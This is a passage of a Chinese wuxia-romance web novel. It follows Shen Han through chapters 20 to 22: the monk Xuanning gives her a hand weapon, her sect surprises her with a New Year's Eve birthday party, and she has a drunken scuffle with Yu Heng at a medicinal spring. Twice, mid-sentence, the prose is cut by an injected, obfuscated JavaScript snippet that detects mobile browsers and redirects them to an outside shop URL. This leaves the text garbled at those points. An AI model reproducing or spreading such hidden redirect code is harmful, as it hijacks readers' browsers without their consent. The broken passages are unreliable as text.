她开始怀疑夷山掌门这老东西故意不修,等自己良心发现去修。 翻来覆去犹豫几日,终于,沈寒提着桶子和生粉,沉闷走到石剑前。 石剑雕工精美,即便有了裂痕,也能感触到其内蕴藏磅礴剑气,背靠巍峨夷山浑然天成。 沈寒定了定神,竟生出几分虔诚,开始仔细往缝隙中填补裂痕。 动作间,她突然回忆起在夷心堂,她决心参加会武那日,掌门问了她一句话。 “后悔吗?” 落子无悔,沈寒有太多人去恨,她并不恨自己。 遂她坚定道:“不后悔。” 她依旧不后悔,却也想重新追思到底后生该如何过。毕竟人活过来,就不想再做孤魂野鬼了。 她既想做一个大恶人,也想有血有肉活过。 远处掌门和郁珩并肩而立,静默看着这一切。 郁珩呼吸变得有些沉重,他看着沈寒蹲在石剑前小心翼翼的模样,怔忪起来。 姑娘肤白,生了一张浓艳的面庞,一双勾人的媚眼。长发随意绾在脑后,几缕碎发闲散落下,她双眉一蹙,将碎发晃到一边。只是个最普通的动作,放在沈寒身上也是惊为天人。 郁珩看得太久,他自己都开始不允许自己这般凝望。 他问师父,“为何栖霞会武非她不可?她虽根骨好,有天分,从头教起想要夺魁也难。” 掌门反问,“这不是你所想的吗?” 郁珩垂在衣袖下的手紧了紧,启唇却是无言。 恰在此时,郁云笙、郑清商同几个师弟师妹路过。 见到沈寒在修补石剑,往日折辱夷山的模样浮现在眼前。 郁云笙气鼓鼓道:“这是做什么?献殷勤?你以为这样大师兄就会在意你吗?想都别想,我们夷山是不会和你这种妖女厮混在一起的。有这些功夫你还是省省罢。” 郑清商拉了拉郁云笙,却也没有多言。 沈寒冷笑一声,转头间脸上的虔诚一扫而空,眼里透着邪性。 “你们大师兄?郁珩啊。怕是你不知道,他日日拉我在止室抄情诗。你说他为什么这么做?是因为厌恶我还是喜欢我?好难猜啊?” 素来一身正气干净磊落的郁珩和水鬼……抄情诗? 郁云笙僵住了,不止郁云笙,郑清商及她身后一众夷山弟子都僵了,脸上颜色变换。随之不知谁爆出一声尖叫,其余人一同尖叫起来,丢盔卸甲逃离了此处。 沈寒洋洋得意拍了拍手上的石灰,继续埋头苦干。 远处的郁珩:…… 掌门:…… 20. 无敌 绝壁幽兰饮饱了水,抽出的新叶挺括,再不见丝毫枯槁。 如今寒泉改道,不需要沈寒继续导水,沈寒也还是日复一日去悉心照料。有时候并不为了这株兰,为的是风过崖壁的呼啸,天地间的静谧,还有与郁珩的无声之约。 沈寒反复检讨许多遍,把关于郁珩这一条默默去掉。 因为即便郁珩不会晨起去练剑,她也一如既往来到绝壁养兰。养兰的过程就像养自己,沈寒自觉这段时间,她将自己养得很好。 一日夜,薛敢递来小道消息,郁珩将要下山处理门派事务。也就是说早功无人监看,可以偷懒。 沈寒完全没有纠结,十分痛快地翘掉了早功,睡到日上三竿,才闲庭信步来到绝壁,想着再看看她的小兰花。 冬日放晴,白云悠悠。 沈寒方到崖边,忽觉眼前空荡荡的,还意外自己没睡醒,定睛一看,她呵护了一个月的小兰花凭空消失了! 沈寒顿时感到胸口淤堵,一脚踏过湿润的蕨草,伏在崖边查看。 果然,土被翻开,有人把她的小花挖走了! 是谁?玄宁给她的功课本就是个秘密,谁会来这里挖她的小花? 近日被她压下的戾气瞬间燃烧起来,她脑中滑过无数张人脸,从郁珩疑心到郁云笙,只觉得整个夷山派都是杀害她小兰花的真凶! 身后传来沉静的脚步声,沈寒警觉,心想:所有弟子都去练功,郁珩下了山,此时还能有谁来绝壁? 沈寒不是优柔寡断之人,不管三七二十一,掌风凌厉旋身劈过去,看清来人是谁,又急急在他眉眼旁刹住。 沈寒的掌风带了滔天戾气,而此人眉眼沉静如水,掌逼至眉眼,眼睛都不眨一下,只是含笑望着沈寒。 对方岿然不动,沈寒僵持在那,迟迟不愿意收掌。 “沈施主,晨露未晞,正好用功。”玄宁开口,嘴角蕴着淡如远山的笑意。 沈寒有些龃龉。 按理说,她应当向玄宁行拜师礼,可她觉得玄宁并未授业,不配承礼。 于是沈寒只是收了手,撩开靛青袍子坐在一旁的青石上,“我的小兰花呢?” 玄宁如实相告,“移走了。” 沈寒眉毛难以按捺地抽了抽,若非她有意克制,这掌定要劈在眼前弱不禁风的秃驴头上不可。 玄宁笑道:“这本就是为你而作的小考,如今你已给出了回答,兰花自然也该走了。这是你与它的一场缘分,你有所收获,兰亦然。” 沈寒的目光落在手上那道浅浅疤痕上,她参悟了玄宁所言。 玄宁抬手,露出了腕上一串玲珑佛珠。他道:“随我来。” 沈寒不情不愿起身,沉默跟在玄宁身后。 二人徐徐离开绝壁,一路上草木静谧,陈雪晶莹,有几分如梦似幻的味道。 玄宁的背影和那些和尚并无区别,只是他生得俊美,加上绯闻缠身,引得沈寒注目。 他身上的青灰僧袍陈旧,行走时稳如泰山,衣袍几乎不随之摆动。此人应当极为抗冻,旁人都有蓄几层棉衣,他依旧单薄,清癯的孤影有些寂寥,更多的是一份安然。 玄宁一边走一边说,“兰之生死,非你之事。可世间万物息息相关,从来都是互相牵扯的。你引水润松救兰,蕨草自然也救了你。” 夷山派依山而立,他们行至一处飞瀑,停在池边。 因寒冬料峭,瀑布失了奔雷之势,若一道白玉屏风,百丈断崖悬垂而下,丝丝银线悄然坠落。 沈寒不喜迂腐,更不喜和尚,如今两者同时在她眼前作妖,她一直在压抑自己的怒气,漂亮的眉头下全是不耐烦。 只见玄宁轻轻蹲身,指尖托起一滴水,起身点在沈寒眉心。 沈寒本有所提防,眉心凉意丝丝缕缕绽开,不知为何,她生出一种奇怪的感觉。比起眉心的触感,她更感化于玄宁的目光。 这个和尚身上有一种宁静的力量,他极少说教,世间琐事在他眼中都寂灭化作尘埃。 玄宁道:“沈施主,闭上眼。” 鬼使神差的,沈寒乖顺阖眸。 万籁俱寂,唯有水声潺潺。林间的风失去踪迹,连心跳的鼓动都隐没。眉心一点惊觉,将她被撕裂的灵魂抽离,去俯仰整片天地。 她突然不再烦躁,不再为兰花的分离感到愤懑。 她获得了平静。 “应无所住,而见其心。[1]此道为静。静水流深,习得宁静,方能见天地,见自己。学会放下,才能获得释然,参悟至高武学。” 玄宁的声音很低,却不沉闷,像是古刹晨钟。 可沈寒是个执拗的人,提及放下,所有的平静都挥之而去。她赫然睁开雪眸,峥然道:“若我不愿放下呢?” “若不放下,你所恐惧的便会一直折磨你。” 玄宁侧目望着一池清水。 他能出此言,想来他是从掌门那里得知沈寒的过往。只是沈寒不怕人知晓,因为即便德高望重如夷山掌门,也难以窥探她全部的人生。 沈寒畅快道:“河神无所畏惧。” “我在池水对岸存了一物,你去取来,我便信你。” 玄宁以为她怕水,她偏生要给玄宁看,无论是坠入濛河,还是冰水中求生,万事万物都不足以让她产生畏惧。 她非但不怕,反而露出浴火重生般的桀骜笑意。她果断抬步,一步步行至池边,默默走向那深水的尽头。 寒意刺入脚踝,一路弥至脊骨,冷得沈寒战栗,呼吸也跟着一滞。鞋袜裤腿湿漉漉贴着小腿,沈寒不作任何犹豫,坚决向前走。 “无论是这一池浅水,还是濛水,我都会走过去。玄宁师父,我不会放下,也不打算放下。” 过往的回忆一点点包裹住她,灭天的窒息感,刺骨的冰水,人潮汹涌中期盼她去死的呼声。沈寒的呼吸越发沉重,她快要被回忆吞噬,可她依旧不停步。 随着她的深入,衣衫变得沉重,像藤蔓一般要将她拖拽下去。她开始眼前出现幻觉,分不清今昔是何昔。 沈寒一步步向前走着,感受着冷到极致后的麻木与清醒,渐渐的,她开始无力遐想过去,眼前只有对岸。 她不怕,她可以踏碎一切恐惧,她要一个新生。 她在对岸摸索着,终于摸到个冰冷坚硬的东西,似乎是个环套。 沈寒心中大喜,加快了步伐,披荆斩棘向回溯游。 上岸后,沈寒打了个喷嚏抖个不停,却还是先将环套递给玄宁。 “拿着。我说过我无所畏惧。” 玄宁笑得意味深长,“这是我赠你的见面礼。我知你天生神力,并不擅长剑器。此物名为手锥,自戎国传来,精钢灌注,套于手上,拳法亦可作为利剑。” 沈寒怔了怔,将手锥套在拳上,拳背处闪着危险的寒光。 是个好武器! 可见玄宁并非只会讲迂腐之言,他虽不擅长武艺,却颇具慧眼。 沈寒得了手锥,笑得也甜,方才的怨气一扫而空,“谢了,是个稀罕宝贝。看来和尚之中也有你这般不错的人。” 玄宁无奈摇了摇头,“如我方才所言,天地万物自有联系,一生一死息息相关。你的恐惧非一池清水能解,日后你会明白的。” 话音刚落,沈寒一怔。 原来她强装坚强,玄宁尽收眼底。可血海深仇,十年颠沛流离,得用多少的清水能解?万海 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17374062|199654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奔流能解吗?天池将倾能解吗? 求一解法如此之难,不如不解。 沈寒捧着手锥,将玄宁的话抛诸脑后。 此飞瀑刚好是上山的必经之路,郁珩处理完事务,行经池边,隔着枯黄草木,看到了姑娘甜美的笑颜。 这般轻快的神情,是他从未见过的。郁珩不禁看痴了神。 姑娘一双明眸笑弯成月牙,颊边有两道浅浅的梨涡。积雪有些消融,今年冬短春早,春水初生,她也在迎来她的新生。 郁珩长吁,默默离开了瀑边。 起初,夷山并无人识得沈寒的手锥,也不觉此物厉害,于是一个个都撸起袖子想要与沈寒比。 沈寒自然来者不拒,几下将一个师兄的胳膊捶出个血印子。 自此手锥名声大噪,议论纷纷,人人都想试试看到底是何方新鲜玩意,竟然不靠剑器也能伤人。又几轮比试下来,沈寒收着力,几个师兄师姐依然被打出了血印子。自此众人知道手锥的厉害,皆反对她用此利器比试了。 薛敢凑在沈寒身边,想要讨来玩。可沈寒将此趁手宝器当心肝,一直不肯。 薛敢只好一双眼不断往沈寒手上瞟,“美人儿,你这宝贝总得有个名字,不然大家都喊凶器,多难听!” 在薛敢的提议下,沈寒分别问了郑清商、郁珩以及掌门,他们分别给了几个十分清丽儒雅的名字,无非是风花雪雅咿咿呀呀的陈词滥调。 薛敢好奇歪头,“你喜欢哪个?” 沈寒看着满纸文邹邹,团成一团,默了默道:“叫无敌吧。” 薛敢默了默,只觉得大俗即大雅,不禁抱拳佩服。 小年一过,望仙县所有的伤痛都被人们暂忘。 腊月月末,沈寒能嗅到风里尽是松脂燃烧的辛香、饴糖熬煮的甜香,还有门户上桃符的朱砂气味。 薛敢称之为“年味”,沈寒不喜过年,称之为“没事找事的恶臭”。 望仙充满了烟火气,街道上货郎纷纷换上了吉祥的朱红玩意,纸鸢巷的果子煮着滚白如玉的糯米团子,孩童在街上奔跑,惦记着年后如何支配压祟钱…… 夷山不贴门神,却也准备起桃木剑符,用朱砂绘制辟邪云纹,以求新年平安顺遂。 沈寒见到这些符便扼腕叹息,郁云笙不禁要怼回去。 “大过年的,你长吁短叹找什么晦气?” 沈寒老神哉哉,“你们贴错了!” “哪里贴错了?年年都是这么贴的!” “你们夷山去栖霞会武,屡战屡败,还敢年年一个贴法。真是愚蠢至极!” 郁云笙撅嘴思索片刻,觉得沈寒说得在理,“那你说怎么贴?” 薛敢从一旁蹦了出来,手中“唰”的亮出一张赤红的菱形画纸,上面是金粉描得人像。画中女子,长眉入鬓,三头六臂,手中分别握着斧钺刀叉剑戟,宛若天神降世。 “什么玩意……”郁云笙捏着下巴琢磨,忽觉哪里不对劲,她定睛一看。这战神像哪里是素日神坛上的神明,分明画得是沈寒的脸。 薛敢清了清嗓,正色道:“河神战无不胜像,杀狗官,战匪首,天赋怪力,战绩可查!只要五文,祝你新年百战百胜,攻无不克!” 郁云笙脸上颜色变幻,最终忍无可忍怒喊一声,“滚啊———!” 年关休沐,不需出功。 沈寒选择窝在洗尘斋。玄宁居主屋,她居侧屋,二人谁也不出门,也互不打扰。 只是有时候,玄宁会鬼使神差瞧一瞧她的屋门,每每惊得沈寒一身冷汗。 玄宁对此的解释是——怕她死了烂在屋里。 [1]:引用《金刚经》中“应无所住,而见其心。” 21. 除夕 千山覆雪,素白一片。 除夕的热烈驱散了人们对战乱的恐慌,他们不再关注狄人攻向何方,专注在眼下的年事中。 鞭炮声响起,夷山的除夕彻底拉开序幕。 对于沈寒来说,无非是继续窝在洗尘斋。她不喜欢热闹,更不喜欢除夕。甚至一到除夕,心情低落到连郁云笙找事挑衅都无心搭理。 日暮西沉,天际鎏金。 远方传来零星的爆竹声,闷闷的,像是梦里来自十年前的低语。屋里没有烧炉,整张卧榻都是冰冷的。沈寒瑟缩在被子里,汲取着唯一一点暖意,双目紧闭假寐。 突然间,屋门被人重重推开,惊得沈寒一肚子窝火。她翻身坐起来,见来人是薛敢,正欲开口责怪,对方一把将自己从床上拖了下来。 “我说怎么到处都寻不到你,原来在被窝里躲懒了。”薛敢说着,随手抓过衣桁上挂着的棉袍,敷衍地往沈寒身上一披,急匆匆拉她出门。 沈寒只得一边系扣子一边被他拖着走,心里还是不太情愿,“寻我做什么?” “忙年呀!整座山不能就你一个闲人,快走快走!” 沈寒默了默,丧着张脸跟着薛敢出了洗尘斋,心里暗暗把夷山上下全咒骂了一遍。 听薛敢说,夷山的忙年,无非是祭祖祭剑、围炉守岁、做年夜饭。想来前二者不需要怎么准备,难就难在年夜饭上。 饭堂大门贴了桃符,白日轮值的弟子洒扫过后,已经破旧的大屋子也焕然一新。透过窗子,远远能瞧见屋里点了烛火,暖融融的在黑夜中闪烁。 沈寒一脚刚迈进饭堂大门,眼前覆上一道冰凉,陷入了黑暗之中。 耳边响起温柔如春水的女声,“小师妹,别慌,是我。” 这般悦耳的音色,咬字都带着文人矜雅,一听便是郑清商。 沈寒对郑清商并无恶意,况且当时郁珩将自己拒之门外,最后还是她将自己捞回来。郑清商总是和郁云笙厮混在一起,她想对郑清商道一声谢谢都没机会。 只是沈寒是个警惕的人,没有安全感,她知道郑清商没有恶意,还是浑身紧绷,手下意识去寻藏在腰间的无敌。 薛敢揪着她的衣袖,郑清商捂着她的眼,二人并未改道,一路朝饭堂里面走。屋里柔软的暖意一点点散发过来,时不时还能听到其他弟子零星的悄笑。 沈寒心中暗叫不好,没吃过猪肉还没见过猪跑吗?她大概猜出这是什么阵势了。 沈寒不喜欢接受别人的好,不喜欢欠人情,更不喜欢惊喜。她执拗的相信与夷山人是萍水相逢,她去为夷山夺得比武魁首,夷山人理应收留她。这是利益交换,世间的事本该如此。 手乍然从眼前松开,欢声如潮水从四面八方袭来。视线还未彻底恢复清晰,只觉得是无尽的暖色。 饭堂被数不清的白蜡烛填满,她看到眼前的幢幢人影,烛光映着他们熟悉的脸。 薛敢笑得嘴咧到耳根,高呼一声,“敬祝沈师妹芳辰!” 只见人群中让开条道,一身杏黄衣裙的郁云笙端着碗热气腾腾的长寿面走到长桌前。她紧抿着唇,一副忍辱负重的模样,却还是将面放在了沈寒面前。 “以后祝你安康顺遂,少惹麻烦,离大师兄远点。”这句话是郁云笙最后的倔强,说完她面上浮起片羞怯的红云,躲到郑清商身后了。 沈寒恍惚了,望着眼前一个个满怀期待的人许久。起初她是疑心这些人为何知道她的生辰,她的生辰是个秘密,连殷九也不知道。可最后她还是吞下了此事,她不愿扫大家的兴。 沈寒最厌恶的一天是除夕,只因除夕是她的生辰。 若非她不是除夕生人,自己也不会被选作祭品,不会十岁那年被人们弃置冰河,也不会家破人亡。 长大后的沈寒知道,这一切和生辰无关。她的父母得罪了美锦商会,而美锦商会则一直为朝中大员敛财。家破人亡是必然,选为祭品只是个由头。 可她还是偏执地恨上了除夕,这个新年旧岁之交,她是一个被夹在中间不见天日的恶鬼。 为什么要点亮这一天?为什么要让她释怀?如果幸福降临的结果是离去,人与人又为何要相逢?为何因缘际会如此消磨人? 沈寒眼下一阵酸涩,她忍下泪意,笑着拾筷,一口口吃下长寿面。 耳边是夷山弟子叽叽喳喳的祝福和聊天,不知是谁发问,“过了生辰就是十七岁?” “十九。”沈寒答。 “十九?郁师姐,小师妹比你还年长呢!” 江湖门派论资排辈,因此郁珩二十一岁却是大师兄,沈寒十九岁是最小的师妹。 郁云笙抱着胳膊,不屑地别过头。 沈寒笑了声,垂首扒面。 薛敢蹲在一边问,“好吃吗?我煮的。少爷我第一次下厨,口味应当不错!” 沈寒头也不抬,只顾着扒面,抽空抬起一只手竖起大拇指。长寿面的热气蒸着她的面庞,旁人看不到,一滴泪落在了面汤里,咸咸的混着面条一起吞了下去。 喝尽面汤,沈寒抬起头,又是那个满腹坏水从不落泪的水鬼。 因一会要祭剑,夷山派的年夜饭是要弟子们提前吃的。流水的美食珍馐依次端上桌,满是世俗烟火气的欢腾。这也是难得饭堂如此丰盛,冬笋煨鹌羹、油炸面筋膏、盐煎雏鸡、梅花汤饼……轮值的师兄忙得满头大汗,因宗师们不在,弟子们大快朵颐,毫无素日的端庄。 席间沈寒打量了许久,发觉吃年夜饭郁珩竟不在。她本想去问薛敢,怕惊动了郑清商,显得她格外在意郁珩似的,于是按捺下去。 另有弟子搬上几坛剑南烧春,叮嘱道:“一会还要祭祖,千万别大醉了。” 众弟子也只是应付,难得开怀,没人将规矩放在心头。 沈寒突然悟了郁珩为何不在,若是他出现,谁也吃不痛快,还是不要在这里扫兴为妙。人活到这个万人嫌的份上,沈寒不禁觉得郁珩有些孤独可怜。 似乎,这桌年夜饭不该将他丢下的。 酒过几巡,众人开始在桌前献艺助兴。 郁云笙唱歌声音若出谷黄莺,亦有人舞剑,有人击磬,满堂尽显名门正派的风流。 郑清商献艺弹琴,抚琴时绰约若仙子。 席间不免有人道:“郑师姐与大师兄简直绝配!” “是了是了,郎才女貌,只看大师兄这块顽石什么时候通人性了。” 沈寒默默吃着煎鸡,闻言不免抬眼多看几眼郑清商。 郑清商就像名家大师手下的江南春水图,她的脸皎白清润,双眉似远山含黛,蕴着浓烈的书卷气。鼻梁挺秀,唇色淡绯,是一等一的美人胚子。信手抚琴,仪态端庄,琴音更是绕梁三日。 沈寒想了想郁珩那般好模样,与郑清商正是相配的。 她心忽地拧在一起,自己也不知道为何,可还是要强装无事,索性道:“确实是神仙眷侣。” 薛敢闻言转而问道:“你说郑师姐和大师兄吗?” “嗯哼。” “我看不是。”薛敢摇了摇头道:“大师兄自己已然足够端正,再娶一个如此端正的妻子,家里还能不能喘气了?我看他非得娶一个邪气冲天的调和一下才行。那句话怎么说的来着?一阴一阳之谓道!” 沈寒一怔,默默指了指自己,“你说……我?” 薛敢随即愣住,沈寒顿时意识到薛敢只是随口一说,是自己对号入座了。她立马僵笑两声遮掩,道:“我是没机会了,我现在是改过自新的大好人,什么邪气恶气都和我无关。” 她转而迅速换了个话题,“旁人都忙着献艺,怎么就你只知道吃?一点奉献精神也没有。” 薛敢惭愧道:“我啥也不会啊。沈寨主不也没有献艺,怎么不想着奉献?” “谁家寨主给下属献艺?”沈寒说完,沉吟片刻,手不自觉抚上腕子。 那里有一处伤,被火燎过,经年日久已经不再作痛。可午夜梦回,沈寒还是会捂着手腕,回忆起陌生的痛感。 沈寒道:“可惜没有琵琶。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17377314|199654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “有啊!”薛敢丢下筷子一跃而起,眼见着就要跑出饭堂。 沈寒一把抓住他,“你要去哪?” 薛敢道:“止室不是有一把琵琶吗?我去偷考题的时候见过。” 说得是郁珩那把从不弹奏的琵琶。 沈寒心念一动,可仍是阻拦,“大师兄知道了一定要罚死你。” “他在宗祠忙,哪里有空管这些。再说了,能看美人弹琵琶,罚死我便罚死我罢!” 薛敢动作极快,一溜烟的功夫便将琵琶带进了饭堂。 弟子们纷纷好奇望向薛敢,薛敢将琵琶递给沈寒,大家便又好奇地打量沈寒。席间浮起细小的议论声,毕竟人人都知道沈寒是个英姿飒爽的美人,天生怪力擅长舞刀弄枪,又不通文墨不懂雅乐,却没想到她会弹琵琶。 郁珩应当极为爱惜这把琵琶,它虽并非名琴,却保护得极好,泛着淡淡的木色润泽。 沈寒仔细接过琴,来到饭堂前的空地坐定,方一抱起琵琶,堂内的氛围微妙地变了。 她平日是一个英气的女子,虽生得国色,却少几分婉约。如今抱琴,姿态虽依旧骄矜,却看得众人一滞。 素色的褙子如水摇曳,烛光勾勒出姑娘妩媚的眉眼。沈寒敛眸静坐片刻,素手微抬,一记华丽的轮指,清润的琵音流淌而出。 沈寒的琵音并非寻常,带有一种空灵之感,可她手下筋骨柔韧,本就婉转的曲调又附上一层桀骜不驯。她的手在品柱上翻飞,若绽开的幽兰,眉眼微蹙,轻愁漫山。 众人纷纷停箸,沉浸在乐声之中,方才除夕的欢腾一扫而空,取而代之的是淡淡的忧伤。 一曲终了,满堂喝彩。 沈寒抬眸,视线越过众人,看到饭堂前立着个雪色的清影。 不知道郁珩是何时赶来,他没有进门,只是站在那一处,半身沐在月色里。他的目光疏离,淡淡望着沈寒。 沈寒能感觉到,他不悦,非常的不悦。 郁珩唇翕微张,终是一言未发地离开了。 手里的琵琶开始烫手,沈寒想丢下满堂的人追出去,却又舍不下面子。 沈寒带着琵琶回座,薛敢道:“深藏不露啊,美人。你这手艺放眼江南也是数一数二的!” 沈寒淡然一笑,心里还在惦记郁珩方才投来的惊悚一眼,“你大师兄好像来过。” 薛敢骤然色变,“他发现了?罢了罢了,生前哪管身后事,先吃酒,先吃酒。” 宴罢便是祭祖与守岁。 夷山的典仪十分繁琐,更何况沈寒对名门正派毫无敬畏之心,她吃了酒,脑子晕乎乎的,人虽在练剑台,思绪早不知道飞哪去了。 显然,是飞到郁珩那里去了。 沈寒思来想去,自己不过是弹了他的琴,最多赔个不是,给他做点好吃的,也不必如此看自己。仿佛……自己欠了他什么债似的。 还是情债! 沈寒被自己的想法惊到,猛甩了甩头,在整齐划一的祭祀队伍中格外扎眼。很快她收到一个眼神刀,沈寒心虚抬头,郁珩正在队前,淡漠地望着自己。 沈寒心里咒骂这株该死的黑心莲,也不禁感叹,他真是个十分漂亮的黑心莲。 她再也不敢胡思乱想,耐着性子忍过全部的祭典和守岁,最后在晨曦微耀之时,拖着疲惫的身子回去休息。 正月初一,无需早功,沈寒放心大胆地睡。 只是今天的洗尘斋格外舒适,今天的被褥也有些不够盖。 爆竹声远远传来,扰人清梦。 沈寒翻来覆去,觉得鼻尖的雪松香挥之不去,梦里兜兜转转全是郁珩的冰块脸,最后心下惊觉,猛然睁眼。 郁珩那张俊美的脸正摆在自己眼前,呼吸平稳,睡得正熟。 而窗外隐隐传来几声鸡叫,已然日上三竿。 她正和郁珩躺在自己洗尘斋的卧房里,同睡一个被窝!自己似乎还抢了郁珩的被子,让他冻了一夜! 她和郁珩,就这么水灵灵的,睡了! 22. 有瑕 沈寒痴痴回忆了许久,大概还原出事件的原貌。 因祭祖的典仪流程过于繁琐,各位宗师的训导曲折反复,听得人昏昏欲睡,困意盎然。 典仪举行了一个时辰,练剑台的寒风也吹了一个时辰,却也没将沈寒的酒吹醒。她本就是风流雅兴之人,喝醉后和薛敢这般纨绔一路货色。因此典仪散去,沈寒身心俱疲,拖着疲惫的身体摇摇欲坠往回走,心头全是不痛快。 原本年夜饭过生辰中酸甜交错的感觉一扫而空,她只记得郁珩孤执立在门前看她的那个神情。 沈寒很确定,郁珩在瞪她,恶狠狠的瞪她。 微醺带来的晕眩感让沈寒头痛难忍,她捏了捏眉心,走在回洗尘斋的路上。不知为何,她有些不愿意回去了。 薛敢等一众弟子不是回房瞌睡便是守岁夜话,沈寒不想参与。她想找一个宁静的地方,自己待一会。 鬼使神差地,沈寒朝着苓庐的方向走去。 祖师爷之所以择夷山为开宗立派之地,是因为夷山风景宜人,夏日草木葱茏,飞瀑急湍,冬日千山鸟尽,雪寂无声。在这人杰地灵宝地里,后山孕育了一处温泉。宗师李飞云悉心打理,修成一处药泉。平日里无论是练功养伤,还是休元补气,都是绝佳的地方。 因药泉之中苦气冲天,并非什么好地方,夷山弟子都是绕道而行的。 之前她受伤,李飞云这个老东西不舍得给她泡,却不想沈寒熟门熟路,自己找到了药泉。 甫一踏入,浓得化不开的苦气扑面而来,直冲天灵。 因四周静谧只剩下潺潺水声,沈寒下意识蹑手蹑脚起来。 热气蒸着沈寒的面颊,醉意更深。她缓缓坐下身,本想解开衣带泡一会药泉以缓解醉酒之苦,却不想坐下后药泉的苦腥直直冲击她的鼻腔。 沈寒有些受不住,被呛得掩面轻咳起来。就在这一刹那,她瞬间僵窒。 一个完璧般美丽的脊背,在朦胧的水雾里若隐若现。肌肉线条流畅,若薄锦覆骨,肤白似玉,肩宽而平直。 此人定是习武之人,勤加修炼,修得一个绝佳的男人裸背。 此男子似被沈寒的咳嗽声惊动,他微微侧身,水雾拨散后,那白玉般的背部竟然是大片扭曲狰狞的燎疤,一片片此起彼伏若山峦盈起。 沈寒倒吸一口凉气,意识到池子里有人,转身想溜。男子无比警觉,“哗啦”一声出水,转眼间已然裹上衣衫朝沈寒逼出一掌。 掌风凌厉若雪,沈寒慌乱间抬手遮挡,震得她小臂隐痛。 她是不甘心吃下这一掌的,虎步扎稳超前冲拳,对方亦是轻盈拆挡,一把掐住沈寒的肩胛。 沈寒一跃而起,若游鱼出水,一个倒翻想挣脱开。就在她点步而起的功夫,二人视线在空中交汇,均是身形一滞。 这白玉有瑕之人,竟是郁珩。 是了,他的手腕上亦有燎疤。 可这般在山中苦修之人,为何身负如此可怖的疤痕?他不是不知人间疾苦的山中修者吗? 他为何要浸泡药泉,他难道也负伤了吗?郁珩的武功高强,方才沈寒便试探出了。到底谁将他伤至需要浸泡药泉? 沈寒落在地上站稳,手上的招架未收,瞪着郁珩。她心里忽然生出个离奇的念头——她见过郁珩。 就算不是郁珩,也是一个像极了郁珩的人。 郁珩方才出手凌厉,沈寒下手也不轻,轻轻打了一架,两个人目光都不友善。 “还要打吗?”沈寒不悦地捏了捏肩胛骨。 郁珩淡然收掌,薄薄一层月白中衣,整个人有种不可冒犯之感。 沈寒道:“我只是借用了你的琵琶,虽没经过你允许,也不至于遭此毒打。” 郁珩道:“药泉此时不应有人经过,我本意并非如此,得罪了。” “你分明就是有生气!” 沈寒两步逼上前去,直勾勾盯着郁珩的双眼。 郁珩垂眸,恰好看到姑娘红扑扑娇艳的脸颊。 药泉水雾迷蒙,连美人的细密眼睫都挂上了水珠,不知是不是因为饮酒,沈寒眼皮低垂慵懒,别有一番风情。 “喝酒了?”郁珩不动声色,却默默移开了眼。 沈寒道:“别扯开话题。既然生气,干脆同我打个清楚明白。少闷在这里给人脸子看!” 郁珩并不接茬,转身走向药泉,拾起衣袍似是打算离开。他的背影十分刺目,就像方才他在饭堂前那般刺目。 沈寒借酒发疯,怒极一个飞扑冲上前,竟然骑在了郁珩的背上。 身下郁珩稳如泰山,却也能感受到他脊背难以抑制的轻颤了下。 沈寒两腿一盘,抱在他身上,两手锁着他闹起来,“我从未见过你这般心眼小的男子,我没有将琵琶弄坏,也物归原处了。” 郁珩叹了口气,试图将沈寒拆开,却不知道该从手还是脚开始拆起。他难得手足无措,僵硬道:“没有生气。” “还说没有!你那个刻薄的眼神,还要冷冰冰的话!” “也没有刻薄。” “你听听,就这么几个字。你说话是要钱吗?为什么话这么少?你就是心疼你的琵琶了,是你红颜知己送的琵琶吗?如果是的话,我真的冒犯你了,我向你认错还不行吗!” 沈寒不管不顾一通诉说,人却将郁珩锁得结实。郁珩反复想将她晃下来,又怕真把姑娘扔到水里去,只能艰难地小幅度挣扎。 “越说越没谱了,休要胡闹!” “我没有胡闹,是你先瞪我的。你还把我扔在山门外让我等死,你这个歹毒的黑心雪莲花,若不是郑师姐,我哪有命和你缠斗!” “……” 少女的身躯柔软,带着雪的冰凉,攀在人身上蹭来蹭去,缠绵又蛮横。她身上的淡淡香气,凛冽而又自由,并非世俗的胭脂俗粉,而是旷野草木的馨香。 泉水滚烫,郁珩被她纠缠,竟生出几分燥热。 沈寒闹了半天,骂到最后词穷,头一垂搭在郁珩的肩头。雪松香在鼻尖萦绕,郁珩温热的体温隔着直袍和褙子她也能感触到,更遑论他紧实的肩胸……就算江湖儿女豪爽,也不至于如此不拘小节,更何况这是郁珩,名门正派的高岭之花。 沈寒猛然清醒过来,被自己这酒疯惊得手一松。 “扑通”一声,水花四溅。 发了酒疯的沈寒刚想起男女有别,就被自己扔进了水里。她只觉得苦味逼人,不想栽进去,信手一抓。 于是又是“扑通”一声,郁珩就这么不设防地一同被拉歪身子跌了进去。 药泉的水果真非同小可,苦得人胆汁都要吐出来。沈寒不仅仅喝了几大口药水,泡在滚烫池水里,她自己都快变成药被一齐煮了。她几乎怀疑,是不是李飞云骗人进药泉泡,实际上拿人煮了炼药。 她被呛得迷迷糊糊,最后是郁珩将她打包拎上了岸。 离药泉最近的除了苓庐,便是洗尘斋。 郁珩将沈寒一路拖回房,念及他将自己捞上岸,沈寒便委婉地邀请他留下歇息。毕竟如果郁珩湿着衣服走回止室,非得冻出毛病不可。沈寒本意只是让一让,若是郁珩拒绝,正好顺了她的心意。 